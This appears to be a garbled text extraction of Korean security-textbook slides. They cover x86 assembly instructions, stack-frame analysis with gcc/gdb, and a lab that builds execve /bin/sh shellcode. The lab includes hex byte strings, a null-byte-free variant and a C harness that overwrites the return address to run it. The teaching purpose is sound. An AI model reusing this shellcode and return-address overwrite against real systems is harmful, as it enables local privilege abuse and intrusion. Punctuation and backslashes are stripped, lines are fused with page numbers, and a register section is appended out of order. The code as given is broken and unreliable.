
JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 7: 80×86  시스템에 대한 이해

7108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

범용 레지스터 (General Register)

EAX 누산기 (Accmulator) 32주로 산술 연산에 사용 ( 함수의 결과 값 저장 )

EBX베이스 레지스터 (Base Register)

32특정 주소 저장 ( 주소 지정을 확대하기 위한 인덱스로 사용 )

ECX카운트 레지스터 (Count Register)

32반복적으로 실행되는 특정 명령에 사용( 루프의 반복 횟수나 좌우 방향 시프트 비트 수 기억 )

EDX데이터 레지스터 (Data Register)

32 일반 자료 저장 ( 입출력 동작에 사용 )

세그먼트 레지스터 (Segment Register)

CS코드 세그먼트 레지스터 (Code Segment Register)

16실행될 기계 명령어가 저장된 메모리 주소

지정

DS데이터 세그먼트 레지스터 (Data Segment Register)

16프로그램에서 정의된 데이터 상수 작업 영역의 메모리 주소 지정

SS스택 세그먼트 레지스터 (Stack Segment Register)

16

프로그램이 임시로 저장해야 하는 데이터나 사용자의 피호출 서브 루틴(called subroutine) 이 사용할 데이터와 주소 저장

ES FS GS

엑스트라 세그먼트 레지스터 (Extra Segment Register)

16문자 연산과 추가 메모리 지정을 위해 사용되는 여분의 레지스터

8108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

포인터 레지스터 (Pointer Register)

EBP베이스 포인터 (Base Pointer)

32SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용

ESP스택 포인터 (Stack Pointer)

32SS 레지스터와 함께 사용되며 스택의 가장 끝 주소를 가리킴

EIP명령 포인터 (Instruction Pointer)

32다음 명령어의 오프셋 (Offset 상대 위치 주소 ) 을 저장하며 CS 레지스터와 합쳐져 다음에 수행될 명령의 주소 형성

인덱스 레지스터 (Index Register)

EDI목적지 인덱스 (Destination Index)

32 목적지 주소에 대한 값 저장

ESI출발지 인덱스 (Source Index)

32 출발지 주소에 대한 값 저장

플래그 레지스터 EFLAGS

플래그 레지스터 (Flag Register)

32연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장

9108

레지스터의 종류와 기능 [ 표 2-5] 레지스터의 종류와 용도

범용 레지스터

80times86 시스템 CPU 의 구조와 레지스터

구분 맴핑 레지스터

연산

장치

관련

레지

스터

누산기 (Accumulator) EAX

데이터 레지스터 (Data Register) EDX

상태 레지스터 (Status Register) EFLAGS

제어

장치

관련

레지

스터

프로그램 카운터 (Program Counter) ECX

명령 레지스터 (Instruction Register) EIP

메모리 주소 레지스터 (Memory Address Register)

EBX EBP ESP EDI ESI 등

메모리 버퍼 레지스터 (Memory Buffer Register)

프로그램 실행과 관련한 데이터를 저장하는

레지스터로 RAM 의 역할을 한다

10108

레지스터의 종류와 기능 범용 레지스터

bull 연산 장치가 수행한 계산 결과의 임시 저장 산술 및 논리 연산 주소 색인 등의

목적으로 사용될 수 있는 레지스터 EAX EBX ECX EDX 등 bull EAX EBX ECX EDX 는 32 비트 레지스터로 앞의 E 는lsquo확장된 (Extended)rsquo 을 의미

이 레지스터의 오른쪽 16 비트를 각각 AX BX CX DX 라 부르고

이 부분은 다시 둘로 나뉜다 예를 들어 AX 는왼쪽 8 비트 상위 (high) 부분을 AH

오른쪽 8 비트 하위 (low) 부분을 AL 이라 한다

80times86 시스템 CPU 의 구조와 레지스터

11108

